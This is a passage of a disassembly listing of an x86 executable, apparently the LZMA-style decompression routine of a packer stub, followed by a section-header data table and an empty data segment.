		jge	short loc_4A3E06
		movzx	esi, [ebp+arg_8]
		shr	esi, 7
		push	[ebp+arg_4]
		lea	eax, [esi+1]
		shl	[ebp+arg_8], 1
		shl	eax, 8
		add	eax, ebx
		lea	eax, [edi+eax*2]
		push	eax
		call	sub_4A3C51
		pop	ecx
		add	ebx, ebx
		pop	ecx
		or	ebx, eax
		jmp	short loc_4A3DB7
; ---------------------------------------------------------------------------

loc_4A3DE9:				; CODE XREF: sub_4A3D88+31j
		mov	esi, 100h

loc_4A3DEE:				; CODE XREF: sub_4A3D88+7Cj
		cmp	ebx, esi
		jge	short loc_4A3E06
		push	[ebp+arg_4]
		add	ebx, ebx
		lea	eax, [ebx+edi]
		push	eax
		call	sub_4A3C51
		pop	ecx
		or	ebx, eax
		pop	ecx
		jmp	short loc_4A3DEE
; ---------------------------------------------------------------------------

loc_4A3E06:				; CODE XREF: sub_4A3D88+39j
					; sub_4A3D88+68j
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4A3D88	endp


; =============== S U B	R O U T	I N E =======================================



sub_4A3E0D	proc near		; CODE XREF: sub_4A3E82+24Fp
					; sub_4A3E82+29Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	edi
		push	esi
		call	sub_4A3C51
		pop	ecx
		pop	ecx
		test	eax, eax
		push	edi
		jnz	short loc_4A3E3D
		mov	eax, [esp+0Ch+arg_8]
		push	3
		shl	eax, 4
		lea	eax, [eax+esi+4]
		push	eax
		call	sub_4A3D16
		add	esp, 0Ch
		jmp	short loc_4A3E7F
; ---------------------------------------------------------------------------

loc_4A3E3D:				; CODE XREF: sub_4A3E0D+16j
		lea	eax, [esi+2]
		push	eax
		call	sub_4A3C51
		pop	ecx
		pop	ecx
		test	eax, eax
		push	edi
		jnz	short loc_4A3E6B
		mov	eax, [esp+0Ch+arg_8]
		push	3
		shl	eax, 4
		lea	eax, [eax+esi+104h]
		push	eax
		call	sub_4A3D16
		add	esp, 0Ch
		add	eax, 8
		jmp	short loc_4A3E7F
; ---------------------------------------------------------------------------

loc_4A3E6B:				; CODE XREF: sub_4A3E0D+3Ej
		add	esi, 204h
		push	8
		push	esi
		call	sub_4A3D16
		add	esp, 0Ch
		add	eax, 10h

loc_4A3E7F:				; CODE XREF: sub_4A3E0D+2Ej
					; sub_4A3E0D+5Cj
		pop	edi
		pop	esi
		retn
sub_4A3E0D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A3E82	proc near		; CODE XREF: sub_4A3344+95p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_C]
		push	1
		pop	edx
		xor	bl, bl
		lea	ecx, [eax+edi]
		mov	eax, 300h
		shl	eax, cl
		xor	ecx, ecx
		mov	esi, edx
		mov	[ebp+var_4], ecx
		mov	[ebp+var_14], ecx
		mov	[ebp+arg_C], ecx
		mov	ecx, [ebp+arg_10]
		shl	esi, cl
		add	eax, 736h
		mov	ecx, edi
		mov	[ebp+var_8], edx
		mov	[ebp+var_10], edx
		mov	[ebp+var_C], edx
		mov	[ebp+var_18], edx
		dec	esi
		mov	[ebp+var_1C], esi
		mov	esi, edx
		shl	esi, cl
		dec	esi
		mov	[ebp+var_20], esi
		mov	esi, [ebp+arg_0]
		test	eax, eax
		jbe	short loc_4A3EEA
		mov	ecx, eax
		mov	eax, 4000400h
		mov	edi, esi
		shr	ecx, 1
		rep stosd
		adc	ecx, ecx
		rep stosw

loc_4A3EEA:				; CODE XREF: sub_4A3E82+54j
		mov	eax, [ebp+arg_14]
		mov	ecx, [ebp+arg_18]
		and	[ebp+var_24], 0
		and	[ebp+var_28], 0
		or	[ebp+var_2C], 0FFFFFFFFh
		lea	edi, [eax+ecx]
		mov	[ebp+var_34], eax
		mov	[ebp+var_30], edi
		mov	[ebp+arg_10], 5

loc_4A3F0C:				; CODE XREF: sub_4A3E82+AFj
		cmp	[ebp+var_34], edi
		jnz	short loc_4A3F18
		mov	[ebp+var_24], edx
		or	al, 0FFh
		jmp	short loc_4A3F20
; ---------------------------------------------------------------------------

loc_4A3F18:				; CODE XREF: sub_4A3E82+8Dj
		mov	eax, [ebp+var_34]
		mov	al, [eax]
		inc	[ebp+var_34]

loc_4A3F20:				; CODE XREF: sub_4A3E82+94j
		mov	ecx, [ebp+var_28]
		movzx	eax, al
		shl	ecx, 8
		or	ecx, eax
		dec	[ebp+arg_10]
		mov	[ebp+var_28], ecx
		jnz	short loc_4A3F0C
		mov	eax, [ebp+arg_24]
		and	dword ptr [eax], 0
		cmp	[ebp+arg_20], 0
		jbe	loc_4A41E8

loc_4A3F43:				; CODE XREF: sub_4A3E82+360j
		mov	edi, [ebp+var_1C]
		lea	eax, [ebp+var_34]
		and	edi, [ebp+arg_C]
		push	eax
		mov	eax, [ebp+var_4]
		shl	eax, 4
		add	eax, edi
		lea	eax, [esi+eax*2]
		push	eax
		call	sub_4A3C51
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4A3FF8
		mov	edx, [ebp+var_20]
		mov	cl, 8
		sub	cl, byte ptr [ebp+arg_8]
		and	edx, [ebp+arg_C]
		movzx	eax, bl
		shr	eax, cl
		mov	ecx, [ebp+arg_8]
		shl	edx, cl
		add	eax, edx
		lea	eax, [eax+eax*2]
		shl	eax, 9
		cmp	[ebp+var_4], 4
		lea	edi, [eax+esi+0E6Ch]
		jge	short loc_4A3F98
		and	[ebp+var_4], 0
		jmp	short loc_4A3FA8
; ---------------------------------------------------------------------------

loc_4A3F98:				; CODE XREF: sub_4A3E82+10Ej
		cmp	[ebp+var_4], 0Ah
		jge	short loc_4A3FA4
		sub	[ebp+var_4], 3
		jmp	short loc_4A3FA8
; ---------------------------------------------------------------------------

loc_4A3FA4:				; CODE XREF: sub_4A3E82+11Aj
		sub	[ebp+var_4], 6

loc_4A3FA8:				; CODE XREF: sub_4A3E82+114j
					; sub_4A3E82+120j
		cmp	[ebp+var_14], 0
		jz	short loc_4A3FD5
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+arg_1C]
		sub	eax, [ebp+var_8]
		mov	al, [eax+ecx]
		mov	byte ptr [ebp+arg_10], al
		lea	eax, [ebp+var_34]
		push	[ebp+arg_10]
		push	eax
		push	edi
		call	sub_4A3D88
		add	esp, 0Ch
		and	[ebp+var_14], 0
		mov	bl, al
		jmp	short loc_4A3FF3
; ---------------------------------------------------------------------------

loc_4A3FD5:				; CODE XREF: sub_4A3E82+12Aj
		push	1
		pop	ebx

loc_4A3FD8:				; CODE XREF: sub_4A3E82+16Fj
		add	ebx, ebx
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [ebx+edi]
		push	eax
		call	sub_4A3C51
		or	ebx, eax
		pop	ecx
		cmp	ebx, 100h
		pop	ecx
		jl	short loc_4A3FD8

loc_4A3FF3:				; CODE XREF: sub_4A3E82+151j
		mov	eax, [ebp+arg_1C]
		jmp	short loc_4A406B
; ---------------------------------------------------------------------------

loc_4A3FF8:				; CODE XREF: sub_4A3E82+E0j
		mov	ebx, [ebp+var_4]
		lea	eax, [ebp+var_34]
		push	eax
		mov	[ebp+var_14], 1
		lea	eax, [esi+ebx*2+180h]
		push	eax
		call	sub_4A3C51
		pop	ecx
		cmp	eax, 1
		pop	ecx
		jnz	loc_4A40F1
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [esi+ebx*2+198h]
		push	eax
		call	sub_4A3C51
		pop	ecx
		test	eax, eax
		pop	ecx
		lea	eax, [ebp+var_34]
		push	eax
		jnz	short loc_4A4079
		lea	eax, [ebx+0Fh]
		shl	eax, 4
		add	eax, edi
		lea	eax, [esi+eax*2]
		push	eax
		call	sub_4A3C51
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4A40C5
		cmp	ebx, 7
		mov	ecx, [ebp+arg_C]
		setnl	al
		dec	eax
		and	al, 0FEh
		add	eax, 0Bh
		sub	ecx, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_1C]
		mov	bl, [ecx+eax]

loc_4A406B:				; CODE XREF: sub_4A3E82+174j
		mov	ecx, [ebp+arg_C]
		inc	[ebp+arg_C]
		mov	[ecx+eax], bl
		jmp	loc_4A41DC
; ---------------------------------------------------------------------------

loc_4A4079:				; CODE XREF: sub_4A3E82+1B5j
		lea	eax, [esi+ebx*2+1B0h]
		push	eax
		call	sub_4A3C51
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4A4091
		mov	eax, [ebp+var_10]
		jmp	short loc_4A40BC
; ---------------------------------------------------------------------------

loc_4A4091:				; CODE XREF: sub_4A3E82+208j
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [esi+ebx*2+1C8h]
		push	eax
		call	sub_4A3C51
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4A40AD
		mov	eax, [ebp+var_C]
		jmp	short loc_4A40B6
; ---------------------------------------------------------------------------

loc_4A40AD:				; CODE XREF: sub_4A3E82+224j
		mov	ecx, [ebp+var_C]
		mov	eax, [ebp+var_18]
		mov	[ebp+var_18], ecx

loc_4A40B6:				; CODE XREF: sub_4A3E82+229j
		mov	ecx, [ebp+var_10]
		mov	[ebp+var_C], ecx

loc_4A40BC:				; CODE XREF: sub_4A3E82+20Dj
		mov	ecx, [ebp+var_8]
		mov	[ebp+var_8], eax
		mov	[ebp+var_10], ecx

loc_4A40C5:				; CODE XREF: sub_4A3E82+1CCj
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [esi+0A68h]
		push	eax
		call	sub_4A3E0D
		mov	edi, eax
		add	esp, 0Ch
		xor	eax, eax
		cmp	ebx, 7
		setnl	al
		dec	eax
		and	al, 0FDh
		add	eax, 0Bh
		mov	[ebp+var_4], eax
		jmp	loc_4A41B5
; ---------------------------------------------------------------------------

loc_4A40F1:				; CODE XREF: sub_4A3E82+196j
		mov	eax, [ebp+var_C]
		push	edi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_10], eax
		xor	eax, eax
		cmp	ebx, 7
		setnl	al
		dec	eax
		and	al, 0FDh
		add	eax, 0Ah
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [esi+664h]
		push	eax
		call	sub_4A3E0D
		mov	edi, eax
		add	esp, 0Ch
		cmp	edi, 4
		jge	short loc_4A4131
		jmp	short loc_4A4134
; ---------------------------------------------------------------------------

loc_4A4131:				; CODE XREF: sub_4A3E82+2ABj
		push	3
		pop	eax

loc_4A4134:				; CODE XREF: sub_4A3E82+2ADj
		shl	eax, 7
		lea	ecx, [ebp+var_34]
		push	ecx
		lea	eax, [eax+esi+360h]
		push	6
		push	eax
		call	sub_4A3D16
		add	esp, 0Ch
		cmp	eax, 4
		jl	short loc_4A41AC
		mov	ecx, eax
		mov	ebx, eax
		sar	ecx, 1
		and	ebx, 1
		dec	ecx
		or	ebx, 2
		shl	ebx, cl
		cmp	eax, 0Eh
		jge	short loc_4A4183
		lea	edx, [ebp+var_34]
		push	edx
		push	ecx
		mov	ecx, ebx
		sub	ecx, eax
		lea	eax, [esi+ecx*2+55Eh]
		push	eax
		call	sub_4A3D4D
		add	esp, 0Ch

loc_4A417F:				; CODE XREF: sub_4A3E82+328j
		add	ebx, eax
		jmp	short loc_4A41B1
; ---------------------------------------------------------------------------

loc_4A4183:				; CODE XREF: sub_4A3E82+2E2j
		add	ecx, 0FFFFFFFCh
		lea	eax, [ebp+var_34]
		push	ecx
		push	eax
		call	sub_4A3BEF
		shl	eax, 4
		add	ebx, eax
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [esi+644h]
		push	4
		push	eax
		call	sub_4A3D4D
		add	esp, 14h
		jmp	short loc_4A417F
; ---------------------------------------------------------------------------

loc_4A41AC:				; CODE XREF: sub_4A3E82+2CEj
		mov	[ebp+var_8], eax
		mov	ebx, eax

loc_4A41B1:				; CODE XREF: sub_4A3E82+2FFj
		inc	ebx
		mov	[ebp+var_8], ebx

loc_4A41B5:				; CODE XREF: sub_4A3E82+26Aj
		cmp	[ebp+var_8], 0
		jz	short loc_4A41E8
		inc	edi
		inc	edi

loc_4A41BD:				; CODE XREF: sub_4A3E82+358j
		mov	ecx, [ebp+arg_C]
		mov	eax, [ebp+arg_1C]
		mov	edx, ecx
		sub	edx, [ebp+var_8]
		mov	bl, [edx+eax]
		mov	[ecx+eax], bl
		inc	ecx
		dec	edi
		mov	[ebp+arg_C], ecx
		test	edi, edi
		jle	short loc_4A41DC
		cmp	ecx, [ebp+arg_20]
		jb	short loc_4A41BD

loc_4A41DC:				; CODE XREF: sub_4A3E82+1F2j
					; sub_4A3E82+353j
		mov	eax, [ebp+arg_C]
		cmp	eax, [ebp+arg_20]
		jb	loc_4A3F43

loc_4A41E8:				; CODE XREF: sub_4A3E82+BBj
					; sub_4A3E82+337j
		mov	ecx, [ebp+arg_24]
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		mov	[ecx], eax
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_4A3E82	endp

; ---------------------------------------------------------------------------
		align 10h
dword_4A4200	dd 0DCh, 0Dh dup(0)	; DATA XREF: .ex_cod:off_4A3004o
		dd 8B000h, 16890h, 400h, 8C000h, 198E4h, 1, 0A342Ch, 400000h
		dd 10Fh, 24104h, 5 dup(0)
		dd 3AE00h, 4, 1, 400h, 0FE0Ch, 1000h, 21E74h, 60000020h
		dd 1, 1020Ch, 0DF2h, 23000h, 1C20h, 40000040h, 1, 10FFEh
		dd 5C70h, 25000h, 65B40h, 0C0000040h, 1, 16C6Eh, 22h
		db 0, 0B0h, 8
_ex_cod		ends

; Section 4. (virtual address 000A5000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 000A4400
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 4A5000h
		align 2000h
_idata2		ends


		end start